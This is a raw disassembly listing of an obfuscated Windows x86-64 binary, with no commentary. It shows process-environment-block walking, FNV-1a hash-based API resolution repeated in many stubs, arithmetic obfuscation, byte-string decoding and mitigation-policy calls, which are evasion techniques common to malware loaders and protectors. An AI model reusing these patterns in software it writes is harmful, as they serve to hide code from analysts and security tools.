lea ecx, [r15 - 0x21]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea r13d, [rcx + r8]
sub r13b, 0x19
mov r8d, 1
mov qword [rbp - 0x80], r13
sub r15, r8
jmp 0x1400fbd32
lea ecx, [r15 + 0x1b]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea r13d, [rcx + r8]
add r13b, 0x43
add rbx, r10
movzx eax, r13b
or rcx, 0xffffffffffffffff
sub rcx, rax
add r15, rcx
jmp 0x1400fbd28
lea rcx, [r15 + rsi]
and dl, cl
add dl, dl
mov r13b, r8b
sub r13b, dl
add r13b, 0x4d
add r13b, cl
lea edx, [r15 - 0x54]
mov al, r8b
and al, dl
mov ecx, Ordinal_41
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
mov byte [rbp + r15 + 0x270], cl
inc rbx
or rax, 0xffffffffffffffff
sub rax, rbx
add r15, rax
jmp 0x1400fbd19
lea rax, [r15 + rdi]
and dl, al
add dl, dl
sub r8b, dl
lea r13d, [rax + r8]
sub r13b, 5
movzx eax, byte [rbp + r15 + 0x270]
add rax, r10
add r15, rax
mov qword [rbp - 0x80], r13
mov r8d, 1
add r15, r8
movabs rdi, 0x9f89901e00560293
movabs rsi, 0x9e5458755e4aef5
jmp 0x1400fb531
add r9b, 0x13
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea r13d, [r9 + r8]
add r13b, 0x7b
mov qword [rbp - 0x80], r13
movabs rdi, 0x9f89901e00560293
movabs rsi, 0x9e5458755e4aef5
jmp 0x1400fb51c
lea rdx, [rbp + 0x16deb5c]
jmp 0x1400fbd9b
lea rdx, [rbp + 0x75418d]
jmp 0x1400fbd9b
lea rdx, [rbp + 0x270]
xorps xmm0, xmm0
movups xmmword [rbp + 0x250], xmm0
xor eax, eax
mov qword [rbp + 0x260], rax
mov qword [rbp + 0x268], rax
or r8, 0xffffffffffffffff
inc r8
cmp byte [rdx + r8], al
jne 0x1400fbdb9
lea rcx, [rbp + 0x250]
call fcn.14004ffd8
lea rcx, [rbp + 0x250]
call fcn.140146738
mov rdx, qword [0x14017c650]
xor eax, eax
test rdx, rdx
jne 0x1400fbf44
mov r14d, eax
mov r15d, r12d
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rcx, qword [rcx + 0x10]
lea r13d, [rdx + 8]
movups xmm0, xmmword [rcx + 0x58]
movd eax, xmm0
sub ax, r13w
test r14d, r14d
je 0x1400fbe53
psrldq xmm0, 8
movq rdx, xmm0
movzx eax, ax
shr rax, 1
lea r9, [rdx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x1400fbe45
movsx eax, byte [rdx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rdx, 2
cmp rdx, r9
jne 0x1400fbe34
cmp r8d, r14d
jne 0x1400fbf31
mov r9, qword [rcx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x1400fbf31
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x1400fbf31
mov esi, dword [r10 + 0x20]
dec r11d
lea rdx, [rsi + r11*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov ebx, 0x811c9dc5
jmp 0x1400fbea7
movsx edx, dl
xor edx, ebx
imul ebx, edx, 0x1000193
mov dl, byte [r8]
inc r8
test dl, dl
jne 0x1400fbe9c
cmp ebx, r15d
je 0x1400fbebd
test r11d, r11d
jne 0x1400fbe87
jmp 0x1400fbf31
mov edx, dword [r10 + 0x1c]
add rdx, r9
mov ecx, dword [r10 + 0x24]
add rcx, r9
movzx ecx, word [rcx + r11*2]
mov edx, dword [rdx + rcx*4]
add rdx, r9
cmp rdx, r10
jbe 0x1400fbf39
lea rcx, [rax + r10]
cmp rdx, rcx
jae 0x1400fbf39
mov r14d, 0x811c9dc5
mov r15d, r14d
mov ecx, 1
mov al, byte [rdx]
cmp al, 0x2e
je 0x1400fbf17
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, rcx
jmp 0x1400fbef2
movsx eax, al
xor eax, r15d
imul r15d, eax, 0x1000193
add rdx, rcx
mov al, byte [rdx]
test al, al
jne 0x1400fbf0a
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rcx, qword [rcx + 0x10]
mov rcx, qword [rcx]
jmp 0x1400fbe07
mov qword [0x14017c650], rdx
mov r13, qword [rbp - 0x80]
mov ecx, 0x99
call rdx
mov rbx, qword [0x14017c6f0]
xor eax, eax
test rbx, rbx
jne 0x1400fc0c0
mov r14d, eax
mov r15d, 0xf84eee59
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r12, qword [rax]
mov rdi, r12
movups xmm0, xmmword [rdi + 0x58]
movd eax, xmm0
sub ax, 8
test r14d, r14d
je 0x1400fbfc6
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x1400fbfb8
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x1400fbfa9
cmp edx, r14d
jne 0x1400fc09b
mov r8, qword [rdi + 0x30]
movsxd rax, dword [r8 + 0x3c]
mov rax, qword [rax + r8 + 0x88]
mov r9d, eax
add r9, r8
shr rax, 0x20
cmp r9, r8
je 0x1400fc09b
mov r10d, dword [r9 + 0x18]
test r10d, r10d
je 0x1400fc09b
mov esi, dword [r9 + 0x20]
dec r10d
lea rcx, [rsi + r10*4]
mov edx, dword [rcx + r8]
add rdx, r8
mov r11d, 0x811c9dc5
jmp 0x1400fc01d
movsx ecx, cl
xor ecx, r11d
imul r11d, ecx, 0x1000193
mov cl, byte [rdx]
inc rdx
test cl, cl
jne 0x1400fc010
cmp r11d, r15d
je 0x1400fc032
test r10d, r10d
jne 0x1400fbffa
jmp 0x1400fc09b
mov edx, dword [r9 + 0x1c]
add rdx, r8
mov ecx, dword [r9 + 0x24]
add rcx, r8
movzx ecx, word [rcx + r10*2]
mov ebx, dword [rdx + rcx*4]
add rbx, r8
cmp rbx, r9
jbe 0x1400fc0b9
lea rcx, [rax + r9]
cmp rbx, rcx
jae 0x1400fc0b9
mov eax, 0x811c9dc5
mov r14d, eax
mov r15d, eax
mov edx, 1
mov al, byte [rbx]
cmp al, 0x2e
je 0x1400fc08e
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rbx, rdx
jmp 0x1400fc069
movsx eax, al
xor eax, r15d
imul r15d, eax, 0x1000193
add rbx, rdx
mov al, byte [rbx]
test al, al
jne 0x1400fc081
mov rdi, qword [r12]
mov rax, qword [rdi]
mov rdi, rax
cmp rax, r12
je 0x1400fc0b4
xor eax, eax
cmp qword [rdi + 0x30], rax
jne 0x1400fbf7d
jmp 0x1400fc0b6
xor eax, eax
mov rbx, rax
mov qword [0x14017c6f0], rbx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor edx, edx
mov rcx, rax
call rbx
mov rdx, qword [0x14017c6e8]
xor eax, eax
test rdx, rdx
jne 0x1400fc242
mov r14d, eax
mov r15d, 0xb3002016
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r12, qword [rax]
mov rdi, r12
movups xmm0, xmmword [rdi + 0x58]
movd eax, xmm0
sub ax, 8
test r14d, r14d
je 0x1400fc148
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x1400fc13a
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x1400fc12b
cmp edx, r14d
jne 0x1400fc21d
mov r8, qword [rdi + 0x30]
movsxd rax, dword [r8 + 0x3c]
mov rax, qword [rax + r8 + 0x88]
mov r9d, eax
add r9, r8
shr rax, 0x20
cmp r9, r8
je 0x1400fc21d
mov r10d, dword [r9 + 0x18]
test r10d, r10d
je 0x1400fc21d
mov esi, dword [r9 + 0x20]
dec r10d
lea rcx, [r8 + r10*4]
mov edx, dword [rcx + rsi]
add rdx, r8
mov r11d, 0x811c9dc5
jmp 0x1400fc19e
movsx ecx, cl
xor ecx, r11d
imul r11d, ecx, 0x1000193
mov cl, byte [rdx]
inc rdx
test cl, cl
jne 0x1400fc191
cmp r11d, r15d
je 0x1400fc1b3
test r10d, r10d
jne 0x1400fc17c
jmp 0x1400fc21d
mov edx, dword [r9 + 0x1c]
add rdx, r8
mov ecx, dword [r9 + 0x24]
add rcx, r8
movzx ecx, word [rcx + r10*2]
mov edx, dword [rdx + rcx*4]
add rdx, r8
cmp rdx, r9
jbe 0x1400fc23b
lea rcx, [r9 + rax]
cmp rdx, rcx
jae 0x1400fc23b
mov eax, 0x811c9dc5
mov r14d, eax
mov r15d, eax
mov r8d, 1
mov al, byte [rdx]
cmp al, 0x2e
je 0x1400fc210
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, r8
jmp 0x1400fc1eb
movsx eax, al
xor eax, r15d
imul r15d, eax, 0x1000193
add rdx, r8
mov al, byte [rdx]
test al, al
jne 0x1400fc203
mov rdi, qword [r12]
mov rax, qword [rdi]
mov rdi, rax
cmp rax, r12
je 0x1400fc236
xor eax, eax
cmp qword [rdi + 0x30], rax
jne 0x1400fc0ff
jmp 0x1400fc238
xor eax, eax
mov rdx, rax
mov qword [0x14017c6e8], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x14017c6e0]
xor eax, eax
test rdx, rdx
jne 0x1400fc3bc
mov r14d, eax
mov r15d, 0x2fd4df39
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r12, qword [rax]
mov rdi, r12
movups xmm0, xmmword [rdi + 0x58]
movd eax, xmm0
sub ax, 8
test r14d, r14d
je 0x1400fc2c1
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x1400fc2b3
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x1400fc2a4
cmp edx, r14d
jne 0x1400fc397
mov r8, qword [rdi + 0x30]
movsxd rax, dword [r8 + 0x3c]
mov rax, qword [rax + r8 + 0x88]
mov r9d, eax
add r9, r8
shr rax, 0x20
cmp r9, r8
je 0x1400fc397
mov r10d, dword [r9 + 0x18]
test r10d, r10d
je 0x1400fc397
mov esi, dword [r9 + 0x20]
dec r10d
lea rcx, [rsi + r10*4]
mov edx, dword [rcx + r8]
add rdx, r8
mov r11d, 0x811c9dc5
jmp 0x1400fc318
movsx ecx, cl
xor ecx, r11d
imul r11d, ecx, 0x1000193
mov cl, byte [rdx]
inc rdx
test cl, cl
jne 0x1400fc30b
cmp r11d, r15d
je 0x1400fc32d
test r10d, r10d
jne 0x1400fc2f5
jmp 0x1400fc397
mov edx, dword [r9 + 0x1c]
add rdx, r8
mov ecx, dword [r9 + 0x24]
add rcx, r8
movzx ecx, word [rcx + r10*2]
mov edx, dword [rdx + rcx*4]
add rdx, r8
cmp rdx, r9
jbe 0x1400fc3b5
lea rcx, [r9 + rax]
cmp rdx, rcx
jae 0x1400fc3b5
mov eax, 0x811c9dc5
mov r14d, eax
mov r15d, eax
mov r8d, 1
mov al, byte [rdx]
cmp al, 0x2e
je 0x1400fc38a
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, r8
jmp 0x1400fc365
movsx eax, al
xor eax, r15d
imul r15d, eax, 0x1000193
add rdx, r8
mov al, byte [rdx]
test al, al
jne 0x1400fc37d
mov rdi, qword [r12]
mov rax, qword [rdi]
mov rdi, rax
cmp rax, r12
je 0x1400fc3b0
xor eax, eax
cmp qword [rdi + 0x30], rax
jne 0x1400fc278
jmp 0x1400fc3b2
xor eax, eax
mov rdx, rax
mov qword [0x14017c6e0], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x14017c6d8]
xor eax, eax
test rdx, rdx
jne 0x1400fc536
mov r14d, eax
mov r15d, 0xe80fd3a
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r12, qword [rax]
mov rdi, r12
movups xmm0, xmmword [rdi + 0x58]
movd eax, xmm0
sub ax, 8
test r14d, r14d
je 0x1400fc43b
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x1400fc42d
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x1400fc41e
cmp edx, r14d
jne 0x1400fc511
mov r8, qword [rdi + 0x30]
movsxd rax, dword [r8 + 0x3c]
mov rax, qword [rax + r8 + 0x88]
mov r9d, eax
add r9, r8
shr rax, 0x20
cmp r9, r8
je 0x1400fc511
mov r10d, dword [r9 + 0x18]
test r10d, r10d
je 0x1400fc511
mov esi, dword [r9 + 0x20]
dec r10d
lea rcx, [rsi + r10*4]
mov edx, dword [rcx + r8]
add rdx, r8
mov r11d, 0x811c9dc5
jmp 0x1400fc492
movsx ecx, cl
xor ecx, r11d
imul r11d, ecx, 0x1000193
mov cl, byte [rdx]
inc rdx
test cl, cl
jne 0x1400fc485
cmp r11d, r15d
je 0x1400fc4a7
test r10d, r10d
jne 0x1400fc46f
jmp 0x1400fc511
mov edx, dword [r9 + 0x1c]
add rdx, r8
mov ecx, dword [r9 + 0x24]
add rcx, r8
movzx ecx, word [rcx + r10*2]
mov edx, dword [rdx + rcx*4]
add rdx, r8
cmp rdx, r9
jbe 0x1400fc52f
lea rcx, [r9 + rax]
cmp rdx, rcx
jae 0x1400fc52f
mov eax, 0x811c9dc5
mov r14d, eax
mov r15d, eax
mov r8d, 1
mov al, byte [rdx]
cmp al, 0x2e
je 0x1400fc504
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, r8
jmp 0x1400fc4df
movsx eax, al
xor eax, r15d
imul r15d, eax, 0x1000193
add rdx, r8
mov al, byte [rdx]
test al, al
jne 0x1400fc4f7
mov rdi, qword [r12]
mov rax, qword [rdi]
mov rdi, rax
cmp rax, r12
je 0x1400fc52a
xor eax, eax
cmp qword [rdi + 0x30], rax
jne 0x1400fc3f2
jmp 0x1400fc52c
xor eax, eax
mov rdx, rax
mov qword [0x14017c6d8], rdx
xor ecx, ecx
call rdx
xor eax, eax
cmp qword [0x14017c6d0], rax
jne 0x1400fc6af
mov r14d, eax
mov r15d, 0xa52bcaf9
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r12, qword [rax]
mov rdi, r12
movups xmm0, xmmword [rdi + 0x58]
movd eax, xmm0
sub ax, 8
test r14d, r14d
je 0x1400fc5b2
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x1400fc5a4
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x1400fc595
cmp edx, r14d
jne 0x1400fc68a
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x1400fc68a
mov r8d, dword [r10 + 0x18]
test r8d, r8d
je 0x1400fc68a
mov esi, dword [r10 + 0x20]
dec r8d
lea rcx, [rsi + r8*4]
mov edx, dword [rcx + r9]
add rdx, r9
mov r11d, 0x811c9dc5
jmp 0x1400fc609
movsx ecx, cl
xor ecx, r11d
imul r11d, ecx, 0x1000193
mov cl, byte [rdx]
inc rdx
test cl, cl
jne 0x1400fc5fc
cmp r11d, r15d
je 0x1400fc61e
test r8d, r8d
jne 0x1400fc5e6
jmp 0x1400fc68a
mov edx, dword [r10 + 0x1c]
add rdx, r9
mov ecx, dword [r10 + 0x24]
add rcx, r9
movzx ecx, word [rcx + r8*2]
mov r8d, dword [rdx + rcx*4]
add r8, r9
cmp r8, r10
jbe 0x1400fc6a8
lea rcx, [r10 + rax]
cmp r8, rcx
jae 0x1400fc6a8
mov eax, 0x811c9dc5
mov r14d, eax
mov r15d, eax
mov edx, 1
mov al, byte [r8]
cmp al, 0x2e
je 0x1400fc67c
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r8, rdx
jmp 0x1400fc656
movsx eax, al
xor eax, r15d
imul r15d, eax, 0x1000193
add r8, rdx
mov al, byte [r8]
test al, al
jne 0x1400fc66f
mov rdi, qword [r12]
mov rax, qword [rdi]
mov rdi, rax
cmp rax, r12
je 0x1400fc6a3
xor eax, eax
cmp qword [rdi + 0x30], rax
jne 0x1400fc569
jmp 0x1400fc6a5
xor eax, eax
mov r8, rax
mov qword [0x14017c6d0], r8
mov r8, qword [0x14017c700]
test r8, r8
jne 0x1400fc72f
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r10, qword [rax]
mov r8, r10
mov rcx, qword [r8 + 0x60]
movzx eax, word [r8 + 0x58]
shr rax, 1
lea r9, [rcx + rax*2]
mov edx, 0x811c9dc5
cmp rcx, r9
je 0x1400fc708
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r9
jne 0x1400fc6ec
cmp edx, 0x610c0de3
je 0x1400fc71d
mov rax, qword [r8]
mov r8, rax
cmp rax, r10
je 0x1400fc723
xor eax, eax
cmp qword [r8 + 0x30], rax
jne 0x1400fc6d2
jmp 0x1400fc725
mov r8, qword [r8 + 0x30]
jmp 0x1400fc728
xor eax, eax
mov r8, rax
mov qword [0x14017c700], r8
movsxd rax, dword [r8 + 0x3c]
mov r10d, dword [rax + r8 + 0x88]
xor eax, eax
mov r9d, eax
mov r11d, dword [r10 + r8 + 0x20]
lea r15d, [rax + 1]
mov eax, r9d
lea rcx, [r8 + rax*4]
mov edx, dword [rcx + r11]
add rdx, r8
mov ecx, 0x811c9dc5
mov al, byte [rdx]
add rdx, r15
test al, al
je 0x1400fc781
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
mov al, byte [rdx]
add rdx, r15
test al, al
jne 0x1400fc765
cmp ecx, 0xe463da3c
je 0x1400fc786
add r9d, r15d
jmp 0x1400fc749
mov edx, dword [r10 + r8 + 0x1c]
add rdx, r8
mov ecx, dword [r10 + r8 + 0x24]
add rcx, r8
mov eax, r9d
movzx ecx, word [rcx + rax*2]
mov eax, dword [rdx + rcx*4]
add rax, r8
xor ecx, ecx
call rax
mov r12, rax
mov r10, qword [0x14017c778]
xor eax, eax
test r10, r10
jne 0x1400fc91d
mov esi, eax
mov r14d, 0x820621f3
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov r15, qword [rcx]
mov rbx, r15
movups xmm0, xmmword [rbx + 0x58]
movd eax, xmm0
sub ax, 8
test esi, esi
je 0x1400fc822
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x1400fc815
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x1400fc806
cmp edx, esi
jne 0x1400fc8f2
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r11d, eax
add r11, r9
shr rax, 0x20
cmp r11, r9
je 0x1400fc8f2
mov r10d, dword [r11 + 0x18]
test r10d, r10d
je 0x1400fc8f2
mov edi, dword [r11 + 0x20]
dec r10d
lea rdx, [r9 + r10*4]
mov r8d, dword [rdx + rdi]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x1400fc876
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x1400fc86b
cmp edx, r14d
je 0x1400fc88c
test r10d, r10d
jne 0x1400fc856
jmp 0x1400fc8f2
mov r8d, dword [r11 + 0x1c]
add r8, r9
mov edx, dword [r11 + 0x24]
add rdx, r9
movzx edx, word [rdx + r10*2]
mov r10d, dword [r8 + rdx*4]
add r10, r9
cmp r10, r11
jbe 0x1400fc910
lea rcx, [rax + r11]
cmp r10, rcx
jae 0x1400fc910
mov esi, 0x811c9dc5
mov r14d, esi
mov edx, 1
mov al, byte [r10]
cmp al, 0x2e
je 0x1400fc8e5
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r10, rdx
jmp 0x1400fc8c1
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r10, rdx
mov al, byte [r10]
test al, al
jne 0x1400fc8d8
mov rbx, qword [r15]
mov rax, qword [rbx]
mov rbx, rax
cmp rax, r15
je 0x1400fc90b
xor eax, eax
cmp qword [rbx + 0x30], rax
jne 0x1400fc7db
jmp 0x1400fc90d
xor eax, eax
mov r10, rax
mov qword [0x14017c778], r10
mov r15d, 1
lea r9, [rbp + 0x558]
mov r8d, r15d
mov edx, 0x5000
mov rcx, r12
call r10
mov r8, qword [0x14017c6f8]
xor eax, eax
test r8, r8
jne 0x1400fcaa5
mov esi, eax
mov r14d, 0x33b00bc5
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r15, qword [rax]
mov rbx, r15
movups xmm0, xmmword [rbx + 0x58]
movd eax, xmm0
sub ax, 8
test esi, esi
je 0x1400fc9aa
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x1400fc99d
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x1400fc98e
cmp edx, esi
jne 0x1400fca7a
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x1400fca7a
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x1400fca7a
mov edi, dword [r10 + 0x20]
dec r11d
lea rdx, [r9 + r11*4]
mov r8d, dword [rdx + rdi]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x1400fc9fe
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x1400fc9f3
cmp edx, r14d
je 0x1400fca14
test r11d, r11d
jne 0x1400fc9de
jmp 0x1400fca7a
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov r8d, dword [r8 + rdx*4]
add r8, r9
cmp r8, r10
jbe 0x1400fca98
lea rcx, [r10 + rax]
cmp r8, rcx
jae 0x1400fca98
mov esi, 0x811c9dc5
mov r14d, esi
mov edx, 1
mov al, byte [r8]
cmp al, 0x2e
je 0x1400fca6d
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r8, rdx
jmp 0x1400fca49
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r8, rdx
mov al, byte [r8]
test al, al
jne 0x1400fca60
mov rbx, qword [r15]
mov rax, qword [rbx]
mov rbx, rax
cmp rax, r15
je 0x1400fca93
xor eax, eax
cmp qword [rbx + 0x30], rax
jne 0x1400fc963
jmp 0x1400fca95
xor eax, eax
mov r8, rax
mov qword [0x14017c6f8], r8
mov r15d, 1
mov edx, 0x5000
mov rcx, r12
call r8
mov qword [0], 0x99
mov ebx, dword [rsp + 0x54]
movabs rdi, 0x9f89901e00560293
movabs rsi, 0x9e5458755e4aef5
mov r12d, 0xcded1a85
add ebx, r15d
mov dword [rsp + 0x54], ebx
cmp ebx, 0xc8
jl 0x1400fb4f5
mov eax, dword [rbp + 0x55c]
and eax, 0xfffffff7
or eax, 7
mov dword [rbp + 0x55c], eax
mov dword [rbp + 0x594], r15d
mov dword [rbp + 0x560], 7
mov ebx, 4
mov r8d, ebx
lea rdx, [rbp + 0x55c]
mov ecx, r15d
call qword [sym.imp.KERNEL32.dll_SetProcessMitigationPolicy]
mov r8d, ebx
lea rdx, [rbp + 0x594]
lea r14d, [rbx + 4]
mov ecx, r14d
call qword [sym.imp.KERNEL32.dll_SetProcessMitigationPolicy]
mov r8d, ebx
lea rdx, [rbp + 0x560]
lea ecx, [rbx + 6]
call qword [sym.imp.KERNEL32.dll_SetProcessMitigationPolicy]
mov rdx, qword [0x14017c708]
xor eax, eax
test rdx, rdx
jne 0x1400fccca
mov esi, eax
mov r14d, 0xe463da3c
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r15, qword [rax]
mov rbx, r15
movups xmm0, xmmword [rbx + 0x58]
movd eax, xmm0
sub ax, 8
xor r13d, r13d
test esi, esi
je 0x1400fcbcd
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x1400fcbc0
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x1400fcbb1
cmp edx, esi
jne 0x1400fcc9b
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x1400fcc9b
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x1400fcc9b
mov edi, dword [r10 + 0x20]
dec r11d
lea rdx, [r9 + r11*4]
mov r8d, dword [rdx + rdi]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x1400fcc21
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x1400fcc16
cmp edx, r14d
je 0x1400fcc37
test r11d, r11d
jne 0x1400fcc01
jmp 0x1400fcc9b
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x1400fccb9
lea rcx, [rax + r10]
cmp rdx, rcx
jae 0x1400fccb9
mov esi, 0x811c9dc5
mov r14d, esi
mov ecx, 1
mov al, byte [rdx]
cmp al, 0x2e
je 0x1400fcc8f
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, rcx
jmp 0x1400fcc6c
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, rcx
mov al, byte [rdx]
test al, al
jne 0x1400fcc82
mov rbx, qword [r15]
mov rax, qword [rbx]
mov rbx, rax
cmp rax, r15
je 0x1400fccb4
xor eax, eax
cmp qword [rbx + 0x30], rax
jne 0x1400fcb83
jmp 0x1400fccb6
xor eax, eax
mov rdx, rax
mov qword [0x14017c708], rdx
mov r15d, 1
lea r14d, [r15 + 7]
xor ecx, ecx
call rdx
test rax, rax
je 0x1400fecd2
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
mov qword [rbp - 0x78], rcx
movzx esi, word [rcx + 0x14]
add rsi, 0x18
add rsi, rcx
mov qword [rbp - 0x80], rsi
xor eax, eax
mov dword [rsp + 0x54], eax
cmp ax, word [rcx + 6]
jae 0x1400fecd2
mov r13b, byte [rsp + 0x50]
mov qword [rbp - 0x28], r13
mov dil, byte [rsp + 0x50]
mov qword [rbp - 0x70], rdi
jmp 0x1400fcd1b
mov r14d, 8
mov byte [rbp + 0x290], Ordinal_79
mov byte [rbp + 0x291], Ordinal_45
mov byte [rbp + 0x292], 0x59
mov byte [rbp + 0x293], Ordinal_35
mov byte [rbp + 0x294], 0x84
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x295], xmm0
mov byte [rbp + 0x2a5], al
call fcn.140158170
mov rbx, qword [rax]
call fcn.140158178
mov r10, qword [rax]
xor eax, eax
mov r9d, eax
cmp r9, 0x16
jae 0x1400fd779
movzx r8d, byte [rbp + r9 + 0x290]
mov rdx, r8
cmp rbx, r9
ja 0x1400fd770
lea rax, [r10 + 1]
cmp rbx, rax
jae 0x1400fcdb3
movabs rcx, 0xbf4186afe8ac33ec
add rcx, r9
mov rax, rdx
and rax, rcx
imul r13, rax, 0xfffffffffffffffe
add r13, rdx
add r13, rcx
sub r13b, 0x74
jmp 0x1400fd03a
je 0x1400fd6ef
lea rax, [r10 + 2]
cmp rbx, rax
je 0x1400fd6a3
lea rax, [r10 + 3]
cmp rbx, rax
je 0x1400fd676
lea rax, [r10 + 8]
cmp rbx, rax
je 0x1400fd62d
cmp r10, r9
ja 0x1400fd767
lea rax, [r10 + 0x7a]
cmp rbx, rax
jae 0x1400fce00
lea edx, [r9 + 0x5c]
mov ecx, 0x3e
jmp 0x1400fd00b
lea rax, [r10 + 1]
cmp rbx, rax
je 0x1400fd613
lea rax, [r10 + 2]
cmp rbx, rax
je 0x1400fd5fc
lea rax, [r10 + 5]
cmp rbx, rax
je 0x1400fd5df
lea rax, [r10 + 6]
cmp rbx, rax
je 0x1400fd5d1
lea rax, [r10 + 3]
cmp rbx, rax
je 0x1400fd584
lea rax, [r10 + rbx]
cmp rax, r9
jbe 0x1400fd2c9
lea rax, [r10 + 0x400]
cmp rbx, rax
je 0x1400fd2b8
lea rax, [r10 + 0x1000]
cmp rbx, rax
